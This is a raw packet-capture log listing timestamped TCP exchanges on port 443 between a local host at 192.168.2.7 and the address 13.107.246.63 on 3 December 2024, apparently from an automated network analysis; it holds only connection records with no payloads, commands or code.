Dec 3, 2024 17:42:07.135813951 CET	49892	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:07.135862112 CET	49892	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:07.135879993 CET	443	49892	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:07.135890007 CET	49892	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:07.135895967 CET	443	49892	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:07.138628006 CET	49916	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:07.138659954 CET	443	49916	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:07.138736963 CET	49916	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:07.138902903 CET	49916	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:07.138915062 CET	443	49916	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:07.307337999 CET	443	49904	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:07.307833910 CET	49904	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:07.307868004 CET	443	49904	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:07.308362007 CET	49904	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:07.308367968 CET	443	49904	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:07.823303938 CET	443	49904	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:07.826313019 CET	443	49904	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:07.826368093 CET	443	49904	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:07.826385975 CET	49904	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:07.826443911 CET	49904	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:07.826513052 CET	49904	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:07.826528072 CET	443	49904	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:07.826539993 CET	49904	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:07.826544046 CET	443	49904	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:07.829267025 CET	49920	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:07.829289913 CET	443	49920	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:07.829365015 CET	49920	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:07.829508066 CET	49920	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:07.829515934 CET	443	49920	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:08.682821035 CET	443	49909	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:08.683464050 CET	49909	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:08.683495045 CET	443	49909	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:08.683978081 CET	49909	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:08.683984995 CET	443	49909	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:08.790472984 CET	443	49914	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:08.791152954 CET	49914	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:08.791177034 CET	443	49914	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:08.791671991 CET	49914	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:08.791680098 CET	443	49914	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:08.806693077 CET	443	49907	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:08.807187080 CET	49907	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:08.807219982 CET	443	49907	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:08.807670116 CET	49907	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:08.807676077 CET	443	49907	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:08.860675097 CET	443	49916	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:08.861613989 CET	49916	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:08.861649990 CET	443	49916	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:08.861999989 CET	49916	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:08.862004995 CET	443	49916	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.121716976 CET	443	49909	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.122560024 CET	443	49909	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.122601032 CET	443	49909	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.122608900 CET	49909	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.122652054 CET	49909	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.132025957 CET	49909	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.132034063 CET	443	49909	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.132059097 CET	49909	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.132061958 CET	443	49909	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.146310091 CET	49922	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.146337986 CET	443	49922	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.146517992 CET	49922	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.146821976 CET	49922	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.146830082 CET	443	49922	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.260328054 CET	443	49907	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.264051914 CET	443	49907	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.264117956 CET	49907	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.264296055 CET	49907	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.264343977 CET	443	49907	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.264374971 CET	49907	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.264413118 CET	443	49907	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.274936914 CET	49924	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.274976015 CET	443	49924	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.275041103 CET	49924	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.275969028 CET	49924	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.275979042 CET	443	49924	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.300849915 CET	443	49916	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.304209948 CET	443	49916	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.304264069 CET	443	49916	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.304404974 CET	49916	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.304404974 CET	49916	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.369894028 CET	49916	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.369908094 CET	443	49916	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.369931936 CET	49916	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.369936943 CET	443	49916	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.409832954 CET	49925	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.409851074 CET	443	49925	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.409914017 CET	49925	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.412775993 CET	49925	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.412786007 CET	443	49925	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.640507936 CET	443	49920	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.680296898 CET	49920	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.680310965 CET	443	49920	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.680798054 CET	49920	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.680802107 CET	443	49920	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.691744089 CET	443	49914	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.694560051 CET	443	49914	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.694611073 CET	49914	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.694894075 CET	49914	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.694912910 CET	443	49914	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.694924116 CET	49914	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.694928885 CET	443	49914	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.701853991 CET	49928	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.701873064 CET	443	49928	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:09.701935053 CET	49928	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.702886105 CET	49928	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:09.702898026 CET	443	49928	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:10.087515116 CET	443	49920	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:10.090256929 CET	443	49920	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:10.095269918 CET	49920	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:10.095271111 CET	49920	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:10.095789909 CET	49920	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:10.095808029 CET	443	49920	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:10.099647999 CET	49929	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:10.099699020 CET	443	49929	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:10.099781036 CET	49929	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:10.099941969 CET	49929	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:10.099953890 CET	443	49929	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:10.937046051 CET	443	49922	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:10.937985897 CET	49922	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:10.938013077 CET	443	49922	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:10.938505888 CET	49922	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:10.938512087 CET	443	49922	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.009109020 CET	443	49924	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.009776115 CET	49924	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.009809971 CET	443	49924	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.010570049 CET	49924	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.010575056 CET	443	49924	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.366547108 CET	443	49925	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.384766102 CET	443	49922	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.387729883 CET	443	49922	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.387775898 CET	443	49922	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.387861967 CET	49922	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.387902021 CET	49922	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.402997017 CET	49925	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.403037071 CET	443	49925	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.403563976 CET	49925	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.403570890 CET	443	49925	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.403774977 CET	49922	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.403796911 CET	443	49922	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.403812885 CET	49922	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.403819084 CET	443	49922	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.406685114 CET	49930	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.406744003 CET	443	49930	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.406826019 CET	49930	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.407026052 CET	49930	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.407037973 CET	443	49930	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.452905893 CET	443	49924	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.455753088 CET	443	49924	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.455878019 CET	49924	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.457048893 CET	49924	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.457068920 CET	443	49924	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.457093954 CET	49924	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.457098961 CET	443	49924	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.460356951 CET	49932	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.460397959 CET	443	49932	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.460473061 CET	49932	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.460688114 CET	49932	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.460700989 CET	443	49932	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.484946966 CET	443	49928	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.485486031 CET	49928	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.485529900 CET	443	49928	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.485970974 CET	49928	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.485976934 CET	443	49928	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.821899891 CET	443	49925	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.824558020 CET	443	49925	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.824616909 CET	443	49925	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.824652910 CET	49925	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.824713945 CET	49925	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.842972040 CET	49925	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.843027115 CET	443	49925	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.843045950 CET	49925	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.843055010 CET	443	49925	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.848428011 CET	49935	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.848490000 CET	443	49935	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.848594904 CET	49935	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.848776102 CET	49935	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.848789930 CET	443	49935	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.895931005 CET	443	49929	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.896517992 CET	49929	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.896554947 CET	443	49929	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.897027969 CET	49929	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:11.897034883 CET	443	49929	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.933686972 CET	443	49928	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.933783054 CET	443	49928	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:11.934000015 CET	49928	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:12.325983047 CET	49928	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:12.326006889 CET	443	49928	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:12.326021910 CET	49928	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:12.326026917 CET	443	49928	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:12.334479094 CET	49936	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:12.334590912 CET	443	49936	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:12.334692955 CET	49936	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:12.334908962 CET	49936	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:12.334942102 CET	443	49936	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:12.344924927 CET	443	49929	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:12.347639084 CET	443	49929	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:12.347712040 CET	49929	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:12.351150990 CET	49929	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:12.351150990 CET	49929	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:12.351183891 CET	443	49929	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:12.351207018 CET	443	49929	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:12.371985912 CET	49937	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:12.372023106 CET	443	49937	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:12.372083902 CET	49937	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:12.374670029 CET	49937	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:12.374680042 CET	443	49937	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:13.188885927 CET	443	49932	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:13.189629078 CET	49932	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:13.189665079 CET	443	49932	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:13.190176964 CET	49932	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:13.190184116 CET	443	49932	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:13.258785963 CET	443	49930	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:13.259351015 CET	49930	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:13.259370089 CET	443	49930	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:13.259819031 CET	49930	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:13.259824038 CET	443	49930	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:13.626497030 CET	443	49932	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:13.629172087 CET	443	49932	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:13.629226923 CET	443	49932	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:13.629249096 CET	49932	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:13.629328966 CET	49932	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:13.629328966 CET	49932	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:13.629391909 CET	49932	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:13.629447937 CET	443	49932	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:13.632805109 CET	49938	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:13.632853031 CET	443	49938	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:13.632932901 CET	49938	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:13.633071899 CET	49938	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:13.633085012 CET	443	49938	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:13.714879990 CET	443	49930	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:13.717870951 CET	443	49930	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:13.717962027 CET	49930	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:13.717999935 CET	49930	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:13.718017101 CET	443	49930	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:13.718030930 CET	49930	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:13.718035936 CET	443	49930	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:13.720272064 CET	443	49935	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:13.720884085 CET	49935	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:13.720901012 CET	443	49935	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:13.721345901 CET	49935	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:13.721350908 CET	443	49935	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:13.721520901 CET	49939	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:13.721543074 CET	443	49939	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:13.721604109 CET	49939	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:13.721743107 CET	49939	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:13.721750021 CET	443	49939	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:14.119360924 CET	443	49936	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:14.120345116 CET	49936	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:14.120366096 CET	443	49936	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:14.120886087 CET	49936	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:14.120891094 CET	443	49936	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:14.174882889 CET	443	49935	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:14.177845001 CET	443	49935	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:14.177917004 CET	49935	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:14.177958965 CET	49935	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:14.177973986 CET	443	49935	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:14.177985907 CET	49935	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:14.177992105 CET	443	49935	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:14.180737972 CET	49941	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:14.180785894 CET	443	49941	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:14.180849075 CET	49941	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:14.181000948 CET	49941	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:14.181010962 CET	443	49941	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:14.219885111 CET	443	49937	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:14.220338106 CET	49937	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:14.220351934 CET	443	49937	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:14.221021891 CET	49937	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:14.221026897 CET	443	49937	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:14.565825939 CET	443	49936	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:14.568963051 CET	443	49936	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:14.569014072 CET	443	49936	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:14.569046974 CET	49936	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:14.569088936 CET	49936	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:14.569144964 CET	49936	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:14.569164038 CET	443	49936	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:14.569175005 CET	49936	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:14.569180012 CET	443	49936	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:14.571810961 CET	49942	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:14.571841002 CET	443	49942	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:14.571909904 CET	49942	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:14.572066069 CET	49942	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:14.572077036 CET	443	49942	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:14.677686930 CET	443	49937	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:14.683054924 CET	443	49937	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:14.683132887 CET	49937	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:14.683177948 CET	49937	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:14.683199883 CET	443	49937	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:14.683211088 CET	49937	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:14.683216095 CET	443	49937	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:14.685765028 CET	49943	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:14.685812950 CET	443	49943	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:14.685889959 CET	49943	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:14.686162949 CET	49943	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:14.686177015 CET	443	49943	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:15.363022089 CET	443	49938	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:15.363732100 CET	49938	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:15.363787889 CET	443	49938	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:15.364217043 CET	49938	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:15.364228964 CET	443	49938	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:15.458195925 CET	443	49939	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:15.458697081 CET	49939	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:15.458719969 CET	443	49939	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:15.459165096 CET	49939	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:15.459172010 CET	443	49939	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:15.798260927 CET	443	49938	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:15.801457882 CET	443	49938	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:15.801537037 CET	49938	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:15.801590919 CET	49938	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:15.801610947 CET	443	49938	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:15.801624060 CET	49938	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:15.801630020 CET	443	49938	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:15.804821014 CET	49944	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:15.804862022 CET	443	49944	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:15.804960966 CET	49944	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:15.805134058 CET	49944	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:15.805150986 CET	443	49944	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:15.902559996 CET	443	49939	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:15.905240059 CET	443	49939	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:15.905379057 CET	49939	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:15.906122923 CET	49939	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:15.906145096 CET	443	49939	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:15.906167984 CET	49939	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:15.906177044 CET	443	49939	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:15.908979893 CET	49945	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:15.909024000 CET	443	49945	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:15.909117937 CET	49945	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:15.909270048 CET	49945	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:15.909282923 CET	443	49945	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:15.983726978 CET	443	49941	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:15.985786915 CET	49941	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:15.985831976 CET	443	49941	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:15.986243010 CET	49941	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:15.986249924 CET	443	49941	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:16.364053965 CET	443	49942	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:16.364689112 CET	49942	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:16.364711046 CET	443	49942	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:16.365142107 CET	49942	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:42:16.365147114 CET	443	49942	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:16.413027048 CET	443	49943	13.107.246.63	192.168.2.7
Dec 3, 2024 17:42:16.413671017 CET	49943	443	192.168.2.7	13.107.246.63
